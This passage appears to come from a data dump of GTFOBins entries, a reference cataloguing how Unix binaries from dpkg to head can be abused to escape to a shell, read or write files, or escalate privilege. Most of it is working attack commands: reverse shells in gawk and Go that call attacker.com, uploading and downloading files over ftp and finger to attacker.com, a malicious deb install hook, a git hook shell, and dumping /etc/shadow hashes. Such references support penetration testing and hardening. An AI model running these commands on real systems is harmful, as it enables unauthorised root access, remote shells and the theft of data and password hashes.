    "content": "---\nfunctions:\n  inherit:\n  - code: |-\n      dpkg -l\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n    from: less\n  shell:\n  - code: |-\n      dpkg -i x_1.0_all.deb\n    comment: |-\n      Generate the Debian package with [fpm](https://github.com/jordansissel/fpm) and upload it to the target.\n\n      ```\n      echo 'exec /bin/sh' >x.sh\n      fpm -n x -s dir -t deb -a all --before-install x.sh .\n      ```\n    contexts:\n      sudo:\n...\n"
  },
  {
    "path": "_gtfobins/dstat",
    "content": "---\nfunctions:\n  inherit:\n  - code: |-\n      dstat --xxx\n    comment: |-\n      `dstat` allows you to run arbitrary Python scripts loaded as \"external plugins\" if they are located in one of the directories, stated in the `dstat` man page under \"FILES\":\n\n      - `~/.dstat/`\n      - `(path of binary)/plugins/`\n      - `/usr/share/dstat/`\n      - `/usr/local/share/dstat/`\n\n      Pick the one that you can write into. The plugin named `xxx` file name must be defined in the `dstat_xxx.py` file.\n    contexts:\n      sudo:\n      unprivileged:\n    from: python\n...\n"
  },
  {
    "path": "_gtfobins/dvips",
    "content": "---\nfunctions:\n  shell:\n  - code: |-\n      dvips -R0 texput.dvi\n    comment: |-\n      The `texput.dvi` output file produced by `tex` can be created offline and uploaded to the target.\n\n      ```\n      tex '\\special{psfile=\"`/bin/sh 1>&0\"}\\end'\n      ```\n    contexts:\n      sudo:\n      suid:\n        shell: true\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/easy_install",
    "content": "---\nfunctions:\n  inherit:\n  - code: |-\n      echo '...' >setup.py\n      easy_install .\n    comment: |-\n      This allows to run Python code (`...`). It executes a Python script named `setup.py` in the directory passed as argument (`.`).\n\n      Keep in mind that the TTY is lost, so `/dev/tty` can be used, for example:\n\n      ```\n      echo 'import os; os.system(\"exec /bin/sh </dev/tty >/dev/tty 2>/dev/tty\")' >setup.py\n      ```\n    contexts:\n      sudo:\n      unprivileged:\n    from: python\n...\n"
  },
  {
    "path": "_gtfobins/easyrsa",
    "content": "---\nfunctions:\n  shell:\n  - code: |-\n      echo 'set_var X \"$(/bin/sh 1>&0)\"' >/path/to/temp-file\n      easyrsa --vars=/path/to/temp-file\n    comment: |-\n      This command might not be in the `PATH`, it could be found in, `/usr/share/easy-rsa/easyrsa`. The shell is spawn twice.\n    contexts:\n      sudo:\n      suid:\n        shell: true\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/eb",
    "content": "---\ncomment: |-\n  For this to work the target must be connected to an AWS instance via EB CLI.\nfunctions:\n  inherit:\n  - code: |-\n      eb logs\n    contexts:\n      sudo:\n      unprivileged:\n    from: journalctl\n...\n"
  },
  {
    "path": "_gtfobins/ed",
    "content": "---\nfunctions:\n  file-read:\n  - binary: false\n    code: |-\n      ed /path/to/input-file\n      ,p\n      q\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n  file-write:\n  - binary: false\n    code: |-\n      ed /path/to/output-file\n      a\n      DATA\n      .\n      w\n      q\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n  shell:\n  - code: |-\n      ed\n      !/bin/sh\n      q\n    contexts:\n      sudo:\n      suid:\n        shell: true\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/efax",
    "content": "---\nfunctions:\n  file-read:\n  - binary: false\n    code: |-\n      efax -d /path/to/input-file\n    comment: |-\n      The content is actually parsed by the command.\n    contexts:\n      sudo:\n      suid:\n...\n"
  },
  {
    "path": "_gtfobins/egrep",
    "content": "---\nfunctions:\n  file-read:\n  - code: |-\n      grep '' /path/to/input-file\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/elvish",
    "content": "---\nfunctions:\n  file-read:\n  - code: |-\n      elvish -c 'print (slurp </path/to/input-file)'\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n  file-write:\n  - code: |-\n      elvish -c 'print DATA >/path/to/output-file'\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n  shell:\n  - code: |-\n      elvish\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/emacs",
    "content": "---\ncomment: |-\n  All the functions operate in the Emacs terminal interface.\nfunctions:\n  file-read:\n  - binary: false\n    code: |-\n      emacs /path/to/input-file\n    contexts:\n      sudo:\n      unprivileged:\n  file-write:\n  - binary: false\n    code: |-\n      emacs /path/to/output-file\n      DATA\n      C-x C-s\n    contexts:\n      sudo:\n      unprivileged:\n  shell:\n  - code: |-\n      emacs -Q -nw --eval '(term \"/bin/sh\")'\n    contexts:\n      sudo:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/enscript",
    "content": "---\nfunctions:\n  shell:\n  - code: |-\n      enscript /dev/null -qo /dev/null -I '/bin/sh >&2'\n    contexts:\n      sudo:\n      suid:\n        shell: true\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/env",
    "content": "---\nfunctions:\n  shell:\n  - code: |-\n      env /bin/sh\n    contexts:\n      sudo:\n      suid:\n        code: |-\n          env /bin/sh -p\n        shell: false\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/eqn",
    "content": "---\nfunctions:\n  file-read:\n  - binary: false\n    code: |-\n      eqn /path/to/input-file\n    comment: |-\n      The content is actually parsed and corrupted by the command.\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/espeak",
    "content": "---\nfunctions:\n  file-read:\n  - binary: false\n    code: |-\n      espeak -qXf /path/to/input-file\n    comment: |-\n      The file content appears in the middle of other textual information as phonemes.\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/ex",
    "content": "---\nfunctions:\n  inherit:\n  - code: |-\n      ex\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n    from: ed\n  shell:\n  - code: |-\n      ex -c ':!/bin/sh'\n    contexts:\n      sudo:\n      suid:\n        shell: true\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/exiftool",
    "content": "---\nfunctions:\n  file-read:\n  - code: |-\n      exiftool -filename=/path/to/output-file /path/to/input-file\n      cat /path/to/output-file\n    comment: |-\n      If the permissions allow it, files are moved (instead of copied) to the destination.\n    contexts:\n      sudo:\n      unprivileged:\n  file-write:\n  - code: |-\n      exiftool -filename=/path/to/output-file /path/to/input-file\n    comment: |-\n      If the permissions allow it, files are moved (instead of copied) to the destination.\n    contexts:\n      sudo:\n      unprivileged:\n  - binary: false\n    code: |-\n      exiftool \"-description<=/path/to/input-file --filename /path/to/output-file\n    comment: |-\n      The output file must exists, either empty or be a supported image file. The content is written amidst other content.\n    contexts:\n      sudo:\n      unprivileged:\n  - binary: false\n    code: |-\n      exiftool \"-description=DATA --filename /path/to/output-file\n    comment: |-\n      The output file must exists, either empty or be a supported image file. The content is written amidst other content.\n    contexts:\n      sudo:\n      unprivileged:\n  - binary: false\n    code: |-\n      exiftool -description -W /path/to/output-file --filename /path/to/input-file\n    comment: |-\n      Writes the metadata tags of the input file in textual format to the output.\n    contexts:\n      sudo:\n      unprivileged:\n  inherit:\n  - code: |-\n      exiftool -if '...' /etc/passwd\n    comment: |-\n      This allows to run Perl code (`...`).\n    contexts:\n      sudo:\n      unprivileged:\n    from: perl\n...\n"
  },
  {
    "path": "_gtfobins/expand",
    "content": "---\nfunctions:\n  file-read:\n  - binary: false\n    code: |-\n      expand /path/to/input-file\n    comment: |-\n      The read file content is corrupted by replacing tabs with spaces.\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/expect",
    "content": "---\nfunctions:\n  file-read:\n  - code: |-\n      expect /path/to/input-file\n    comment: |-\n      The file is read and parsed as an `expect` command file, the content of the first invalid line is returned in an error message.\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n  shell:\n  - code: |-\n      expect -c 'spawn /bin/sh;interact'\n    contexts:\n      sudo:\n      suid:\n        code: |-\n          expect -c 'spawn /bin/sh -p;interact'\n        shell: false\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/facter",
    "content": "---\nfunctions:\n  inherit:\n  - code: |-\n      FACTERLIB=/path/to/dir/ facter\n    comment: |-\n      The first `.rb` file in the `/path/to/dir/` directory will be executed.\n    contexts:\n      sudo:\n      unprivileged:\n    from: ruby\n  - code: |-\n      facter --custom-dir=/path/to/dir/ x\n    comment: |-\n      The first `.rb` file in the `/path/to/dir/` directory will be executed.\n    contexts:\n      sudo:\n      unprivileged:\n    from: ruby\n...\n"
  },
  {
    "path": "_gtfobins/fail2ban-client",
    "content": "---\nfunctions:\n  command:\n  - blind: true\n    code: |-\n      fail2ban-client add x\n      fail2ban-client set x addaction x\n      fail2ban-client set x action x actionban /path/to/command\n      fail2ban-client start x\n      fail2ban-client set x banip 999.999.999.999\n      fail2ban-client set x unbanip 999.999.999.999\n      fail2ban-client stop x\n    comment: |-\n      The subprocess is immediately sent to the background, but `fail2ban-client` waits on a return code from the subprocess. The `banip` command will hang until the subprocess returns.\n    contexts:\n      sudo:\n  - blind: true\n    code: |-\n      cat >/path/to/temp-dir/fail2ban.conf <<EOF\n      [Definition]\n      EOF\n\n      cat >/path/to/temp-dir/jail.local <<EOF\n      [x]\n      enabled = true\n      action = x\n      EOF\n\n      mkdir -p /path/to/temp-dir/action.d/\n      cat >/path/to/temp-dir/action.d/x.conf <<EOF\n      [Definition]\n      actionstart = /path/to/command\n      EOF\n\n      mkdir -p /path/to/temp-dir/filter.d/\n      cat >/path/to/temp-dir/filter.d/x.conf <<EOF\n      [Definition]\n      EOF\n\n      fail2ban-client -c /path/to/temp-dir/ -v restart\n    contexts:\n      sudo:\n...\n"
  },
  {
    "path": "_gtfobins/fastfetch",
    "content": "---\nfunctions:\n  command:\n  - code: |-\n      echo '{\"modules\":[{\"type\":\"command\",\"key\":\"x\",\"text\":\"exec /path/to/command\"}]}' >/path/to/temp-file.jsonc\n      fastfetch -c /path/to/temp-file.jsonc\n    contexts:\n      sudo:\n      suid:\n        shell: true\n      unprivileged:\n  file-read:\n  - binary: false\n    code: |-\n      fastfetch --file /path/to/input-file\n    comment: |-\n      The file content is used as the logo while some other information is displayed on its right.\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n  shell:\n  - code: |-\n      echo '{\"modules\":[{\"type\":\"command\",\"key\":\"x\",\"text\":\"exec /bin/sh 1>&0 2>&0\"}]}' >/path/to/temp-file.jsonc\n      fastfetch -c /path/to/temp-file.jsonc\n    contexts:\n      sudo:\n      suid:\n        shell: true\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/ffmpeg",
    "content": "---\nfunctions:\n  library-load:\n  - code: |-\n      ffmpeg -f lavfi -i anullsrc -af ladspa=file=/path/to/lib.so /path/to/temp-file.wav\n      reset^J\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/fgrep",
    "content": "---\nfunctions:\n  file-read:\n  - code: |-\n      grep '' /path/to/input-file\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/file",
    "content": "---\nfunctions:\n  file-read:\n  - binary: false\n    code: |-\n      file -f /path/to/input-file\n    comment: |-\n      Each input line is treated as a filename for the `file` command and the output is corrupted by a suffix `:` followed by the result or the error of the operation.\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n  - binary: false\n    code: |-\n      file -m /path/to/input-file\n    comment: |-\n      Each line is corrupted by a prefix string and wrapped inside quotes.\n\n      If a line in the target file begins with a `#`, it will not be printed as these lines are parsed as comments.\n\n      It can also be provided with a directory and will read each file in the directory.\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/find",
    "content": "---\nfunctions:\n  file-read:\n  - code: |-\n      find /path/to/input-file -exec cat {} \\;\n    comment: |-\n      This uses `cat` to actually read the file, but since permissions are not dropped, it's executed with the same privileges as `find`.\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n  file-write:\n  - code: |-\n      find / -fprintf /path/to/output-file DATA -quit\n    comment: |-\n      `DATA` is a format string, it supports some escape sequences.\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n  shell:\n  - code: |-\n      find . -exec /bin/sh \\; -quit\n    contexts:\n      sudo:\n      suid:\n        code: |-\n          find . -exec /bin/sh -p \\; -quit\n        shell: false\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/finger",
    "content": "---\nfunctions:\n  download:\n  - code: |-\n      finger x@attacker.com\n    comment: |-\n      The command hangs waiting for the remote peer to close the socket.\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n    sender:\n      code: |-\n        nc -l -p 79 </path/to/input-file\n      comment: |-\n        A TCP server can be used on the attacker box to send the data.\n  upload:\n  - code: |-\n      finger DATA@attacker.com\n    comment: |-\n      The command hangs waiting for the remote peer to close the socket.\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n    receiver:\n      code: |-\n        nc -l -p 79 >/path/to/output-file\n      comment: |-\n        A TCP server can be used on the attacker box to receive the data.\n...\n"
  },
  {
    "path": "_gtfobins/firejail",
    "content": "---\nfunctions:\n  shell:\n  - code: |-\n      firejail /bin/sh\n    contexts:\n      sudo:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/fish",
    "content": "---\nfunctions:\n  shell:\n  - code: |-\n      fish\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/flock",
    "content": "---\nfunctions:\n  shell:\n  - code: |-\n      flock -u / /bin/sh\n    contexts:\n      sudo:\n      suid:\n        code: |-\n          flock -u / /bin/sh -p\n        shell: false\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/fmt",
    "content": "---\nfunctions:\n  file-read:\n  - binary: false\n    code: |-\n      fmt -pNON_EXISTING_PREFIX /path/to/input-file\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n    version: |-\n      GNU\n  - binary: false\n    code: |-\n      fmt -999 /path/to/input-file\n    comment: |-\n      This corrupts the output by wrapping very long lines at the given width (`999`).\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/fold",
    "content": "---\nfunctions:\n  file-read:\n  - binary: false\n    code: |-\n      fold -w999 /path/to/input-file\n    comment: |-\n      This corrupts the output by wrapping very long lines at the given width (`999`).\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/forge",
    "content": "---\nfunctions:\n  shell:\n  - code: |-\n      echo '#!/bin/sh' >/path/to/temp-file\n      echo -e \"/bin/sh <$(tty) >$(tty) 2>$(tty)\" >>/path/to/temp-file\n      chmod +x /path/to/temp-file\n      forge build --use /path/to/temp-file\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/fping",
    "content": "---\nfunctions:\n  file-read:\n  - binary: false\n    code: |-\n      fping -f /path/to/input-file\n    comment: |-\n      Each line is treated as an hostname and it's leaked as an error message.\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/ftp",
    "content": "---\nfunctions:\n  download:\n  - code: |-\n      ftp -a attacker.com\n      get /path/to/input-file output-file\n    comment: |-\n      Instead of `-a`, credentials can be supplied via the `user:password@host` connection string.\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n    sender: ftp-server\n  shell:\n  - code: |-\n      ftp\n      !/bin/sh\n    contexts:\n      sudo:\n      suid:\n        shell: true\n      unprivileged:\n  upload:\n  - code: |-\n      ftp -a attacker.com\n      put /path/to/input-file output-file\n    comment: |-\n      Instead of `-a`, credentials can be supplied via the `user:password@host` connection string.\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n    receiver: ftp-server\n...\n"
  },
  {
    "path": "_gtfobins/fzf",
    "content": "---\nfunctions:\n  command:\n  - code: |-\n      fzf --listen=12345\n    comment: |-\n      Commands can be issued via POST requests, for example:\n\n      ```\n      curl http://localhost:12345 -d 'execute(/path/to/command)'\n      ```\n    contexts:\n      sudo:\n      suid:\n        shell: true\n      unprivileged:\n  shell:\n  - code: |-\n      fzf --bind 'enter:execute(/bin/sh)'\n    comment: |-\n      Press `Enter` to receive the shell.\n    contexts:\n      sudo:\n      suid:\n        shell: true\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/g++",
    "content": "---\nalias: gcc\n...\n"
  },
  {
    "path": "_gtfobins/gawk",
    "content": "---\nfunctions:\n  bind-shell:\n  - code: |-\n      gawk 'BEGIN {\n          s = \"/inet/tcp/12345/0/0\";\n          while (1) {printf \"> \" |& s; if ((s |& getline c) <= 0) break;\n          while (c && (c |& getline) > 0) print $0 |& s; close(c)}}'\n    connector: tcp-client\n    contexts:\n      sudo:\n      suid:\n        shell: true\n      unprivileged:\n  file-read:\n  - code: |-\n      gawk '//' /path/to/input-file\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n  file-write:\n  - code: |-\n      gawk 'BEGIN { print \"DATA\" > \"/path/to/output-file\" }'\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n  reverse-shell:\n  - code: |-\n      gawk 'BEGIN {\n          s = \"/inet/tcp/0/attacker.com/12345\";\n          while (1) {printf \"> \" |& s; if ((s |& getline c) <= 0) break;\n          while (c && (c |& getline) > 0) print $0 |& s; close(c)}}'\n    contexts:\n      sudo:\n      suid:\n        shell: true\n      unprivileged:\n    listener: tcp-server\n  shell:\n  - code: |-\n      gawk 'BEGIN {system(\"/bin/sh\")}'\n    contexts:\n      sudo:\n      suid:\n        shell: true\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/gcc",
    "content": "---\nfunctions:\n  file-read:\n  - binary: false\n    code: |-\n      gcc -x c -E /path/to/input-file\n    contexts:\n      sudo:\n      unprivileged:\n  - binary: false\n    code: |-\n      gcc @/path/to/input-file\n    comment: |-\n      The file is read and parsed as a list of files (one per line), the content is displayed as error messages.\n    contexts:\n      sudo:\n      unprivileged:\n  file-write:\n  - code: |-\n      gcc -x c /dev/null -o /path/to/input-file\n    comment: |-\n      This actually deletes the file.\n    contexts:\n      sudo:\n      unprivileged:\n  shell:\n  - code: |-\n      gcc -wrapper /bin/sh,-s x\n    comment: |-\n      In some older versions, the `x` argument must instead reference any existing file.\n    contexts:\n      sudo:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/gcloud",
    "content": "---\nfunctions:\n  inherit:\n  - code: |-\n      gcloud help\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n    from: less\n...\n"
  },
  {
    "path": "_gtfobins/gcore",
    "content": "---\nfunctions:\n  file-read:\n  - code: |-\n      gcore $PID\n    comment: |-\n      It can be used to generate core dumps of running processes (`$PID`). Such files often contains sensitive information such as open files content, cryptographic keys, passwords, etc. This command produces a binary file named `core.$PID`, that is then often filtered with `strings` to narrow down relevant information.\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/gdb",
    "content": "---\nfunctions:\n  file-write:\n  - code: |-\n      gdb -nx -ex 'dump value /path/to/output-file \"DATA\"' -ex quit\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n  inherit:\n  - code: |-\n      gdb -nx -ex 'python ...' -ex quit\n    comment: |-\n      This allows to run Python code (`...`).\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n    from: python\n  shell:\n  - code: |-\n      gdb -nx -ex '!/bin/sh' -ex quit\n    contexts:\n      capabilities:\n        code: |-\n          gdb -nx -ex 'python import os; os.setuid(0)' -ex '!/bin/sh' -ex quit\n        list:\n        - CAP_SETUID\n      sudo:\n      suid:\n        shell: true\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/gem",
    "content": "---\nfunctions:\n  inherit:\n  - code: |-\n      gem open debug\n    comment: |-\n      This requires the name of an installed gem to be provided, e.g., `debug` is usually installed.\n    contexts:\n      sudo:\n      unprivileged:\n    from: vi\n  - code: |-\n      gem build /path/to/script.rb\n    contexts:\n      sudo:\n      unprivileged:\n    from: ruby\n  - code: |-\n      gem install --file /path/to/script.rb\n    contexts:\n      sudo:\n      unprivileged:\n    from: ruby\n  shell:\n  - code: |-\n      gem open -e '/bin/sh -s' debug\n    comment: |-\n      This requires the name of an installed gem to be provided, e.g., `debug` is usually installed.\n    contexts:\n      sudo:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/genie",
    "content": "---\nfunctions:\n  shell:\n  - code: |-\n      genie -c '/bin/sh'\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/genisoimage",
    "content": "---\nfunctions:\n  file-read:\n  - code: |-\n      genisoimage -q -o - /path/to/input-file\n    comment: |-\n      The output is placed inside the ISO9660 file system binary format, it can be mounted or extracted with tools like `7z`.\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n  - code: |-\n      genisoimage -sort /path/to/input-file\n    comment: |-\n      The file is parsed, and some of its content is disclosed by the error messages.\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/getent",
    "content": "---\nfunctions:\n  privilege-escalation:\n  - code: |-\n      getent shadow\n    comment: |-\n      This allows to dump password hashes from the `/etc/shadow` file.\n    contexts:\n      sudo:\n      suid:\n...\n"
  },
  {
    "path": "_gtfobins/ghc",
    "content": "---\nfunctions:\n  shell:\n  - code: |-\n      ghc -e 'System.Process.callCommand \"/bin/sh\"'\n    contexts:\n      sudo:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/ghci",
    "content": "---\nfunctions:\n  shell:\n  - code: |-\n      ghci\n      System.Process.callCommand \"/bin/sh\"\n    contexts:\n      sudo:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/gimp",
    "content": "---\nfunctions:\n  inherit:\n  - code: |-\n      gimp -idf --batch-interpreter=python-fu-eval -b '...'\n    comment: |-\n      This allows to run Python code (`...`). It hangs afterwards and can be terminated by pressing `Ctrl-C`.\n    contexts:\n      sudo:\n      unprivileged:\n    from: python\n...\n"
  },
  {
    "path": "_gtfobins/ginsh",
    "content": "---\nfunctions:\n  shell:\n  - code: |-\n      ginsh\n      !/bin/sh\n    contexts:\n      sudo:\n      suid:\n        shell: true\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/git",
    "content": "---\nfunctions:\n  file-read:\n  - code: |-\n      git diff /dev/null /path/to/input-file\n    comment: |-\n      The read file content is displayed in `diff` style output format.\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n  file-write:\n  - code: |-\n      git apply --unsafe-paths --directory / x.patch\n    comment: |-\n      The patch can be created locally by creating the file that will be written on the target using its absolute path:\n\n      ```\n      echo DATA >/path/to/input-file\n      git diff /dev/null /path/to/input-file >x.patch\n      ```\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n  inherit:\n  - code: |-\n      git help config\n    contexts:\n      sudo:\n      unprivileged:\n    from: less\n  - code: |-\n      git branch --help config\n      !/bin/sh\n    comment: |-\n      The help system can also be reached from any `git` command, e.g., `git branch`.\n    contexts:\n      sudo:\n      unprivileged:\n    from: less\n  shell:\n  - code: |-\n      PAGER='/bin/sh -c \"exec sh 0<&1\"' git -p help\n    contexts:\n      sudo:\n      unprivileged:\n  - code: |-\n      git init .\n      echo 'exec /bin/sh 0<&2 1>&2' >.git/hooks/pre-commit\n      chmod +x .git/hooks/pre-commit\n      git -C . commit --allow-empty -m x\n    comment: |-\n      Git hooks are merely shell scripts and in the following example the hook associated to the `pre-commit` action is used. Any other hook will work, just make sure to be able perform the proper action to trigger it. An existing repository can also be used, and moving into the directory works too.\n    contexts:\n      sudo:\n      unprivileged:\n  - code: |-\n      ln -s /bin/sh git-x\n      git --exec-path=. x\n    contexts:\n      sudo:\n      suid:\n        code: |-\n          ln -s /bin/sh git-x\n          git --exec-path=. x -p\n        shell: false\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/gnuplot",
    "content": "---\nfunctions:\n  shell:\n  - code: |-\n      gnuplot -e 'system(\"/bin/sh 1>&0\")'\n    contexts:\n      sudo:\n      suid:\n        shell: true\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/go",
    "content": "---\nfunctions:\n  bind-shell:\n  - code: |-\n      echo -e 'package main\\nimport (\\n\\t\"os\"\\n\\t\"syscall\"\\n)\\n\\nfunc main(){\\n\\tfd, _ := syscall.Socket(syscall.AF_INET, syscall.SOCK_STREAM, 0)\\n\\taddr := &syscall.SockaddrInet4{Port: 12345}\\n\\tcopy(addr.Addr[:], []byte{0,0,0,0})\\n\\tsyscall.Bind(fd, addr)\\n\\tsyscall.Listen(fd, 1)\\n\\tnfd, _, _ := syscall.Accept(fd)\\n\\tsyscall.Dup2(nfd, 0)\\n\\tsyscall.Dup2(nfd, 1)\\n\\tsyscall.Dup2(nfd, 2)\\n\\tsyscall.Exec(\"/bin/sh\", []string{\"/bin/sh\", \"-i\"}, os.Environ())\\n}' >/path/to/temp-file.go\n      go run /path/to/temp-file.go\n    connector: tcp-client\n    contexts:\n      sudo:\n      unprivileged:\n  file-read:\n  - code: |-\n      echo -e 'package main\\nimport (\\n\\t\"fmt\"\\n\\t\"os\"\\n)\\n\\nfunc main(){\\n\\tb, _ := os.ReadFile(\"/path/to/input-file\")\\n\\tfmt.Print(string(b))\\n}' >/path/to/temp-file.go\n      go run /path/to/temp-file.go\n    contexts:\n      sudo:\n      unprivileged:\n  file-write:\n  - code: |-\n      echo -e 'package main\\nimport \"os\"\\nfunc main(){\\n\\tf, _ := os.OpenFile(\"/path/to/output-file\", os.O_RDWR|os.O_CREATE, 0644)\\n\\tf.Write([]byte(\"DATA\\\\n\"))\\n\\tf.Close()\\n}' >/path/to/temp-file.go\n      go run /path/to/temp-file.go\n    contexts:\n      sudo:\n      unprivileged:\n  reverse-shell:\n  - code: |-\n      echo -e 'package main\\nimport (\\n\\t\"os\"\\n\\t\"net\"\\n\\t\"syscall\"\\n)\\n\\nfunc main(){\\n\\tfd, _ := syscall.Socket(syscall.AF_INET, syscall.SOCK_STREAM, 0)\\n\\tip := net.ParseIP(\"attacker.com\").To4()\\n\\taddr := &syscall.SockaddrInet4{Port: 12345}\\n\\tcopy(addr.Addr[:], ip)\\n\\tsyscall.Connect(fd, addr)\\n\\tsyscall.Dup2(fd, 0)\\n\\tsyscall.Dup2(fd, 1)\\n\\tsyscall.Dup2(fd, 2)\\n\\tsyscall.Exec(\"/bin/sh\", []string{\"/bin/sh\", \"-i\"}, os.Environ())\\n}' >/path/to/temp-file.go\n      go run /path/to/temp-file.go\n    contexts:\n      sudo:\n      unprivileged:\n    listener: tcp-server\n  shell:\n  - code: |-\n      echo -e 'package main\\nimport \"syscall\"\\nfunc main(){\\n\\tsyscall.Exec(\"/bin/sh\", []string{\"/bin/sh\", \"-i\"}, []string{})\\n}' >/path/to/temp-file.go\n      go run /path/to/temp-file.go\n    contexts:\n      sudo:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/grc",
    "content": "---\nfunctions:\n  shell:\n  - code: |-\n      grc --pty /bin/sh\n    contexts:\n      sudo:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/grep",
    "content": "---\nfunctions:\n  file-read:\n  - binary: false\n    code: |-\n      grep '' /path/to/input-file\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/gtester",
    "content": "---\nfunctions:\n  file-write:\n  - code: |-\n      gtester DATA -o /path/to/output-file\n    comment: |-\n      Data to be written appears in an XML attribute in the output file (`<testbinary path=\"DATA\">`).\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n  shell:\n  - code: |-\n      echo 'exec /bin/sh 0<&1' >/path/to/temp-file\n      chmod +x /path/to/temp-file\n      gtester -q /path/to/temp-file\n    contexts:\n      sudo:\n      suid:\n        code: |-\n          echo '#!/bin/sh -p' >/path/to/temp-file\n          echo 'exec /bin/sh -p 0<&1' >>/path/to/temp-file\n          chmod +x /path/to/temp-file\n          gtester -q /path/to/temp-file\n        shell: false\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/guile",
    "content": "---\nfunctions:\n  shell:\n  - code: |-\n      guile -c '(system \"/bin/sh\")'\n    contexts:\n      sudo:\n      suid:\n        shell: true\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/gzip",
    "content": "---\ncomment: |-\n  There are also a number of other utilities that rely on `gzip` under the hood, e.g., `zless`, `zcat`, `gunzip`, etc. Besides having similar features, they also allow privileged reads if `gzip` itself is SUID.\nfunctions:\n  file-read:\n  - code: |-\n      gzip -c /path/to/input-file | gzip -d\n    contexts:\n      capabilities:\n        list:\n        - CAP_DAC_OVERRIDE\n      sudo:\n      suid:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/hashcat",
    "content": "---\nfunctions:\n  file-write:\n  - code: |-\n      echo -n DATA | tee /path/to/wordlist | md5sum | awk '{print $1}' >/path/to/hash\n      hashcat -m 0 --quiet --potfile-disable -o /path/to/output-file --outfile-format=2 --outfile-autohex-disable /path/to/hash /path/to/wordlist\n    comment: |-\n      Append data to the end of the output file, creating if does not exist.\n    contexts:\n      sudo:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/hd",
    "content": "---\nalias: hexdump\n...\n"
  },
  {
    "path": "_gtfobins/head",
    "content": "---\nfunctions:\n  file-read:\n  - code: |-\n      head -c-0 /path/to/input-file\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/hexdump",
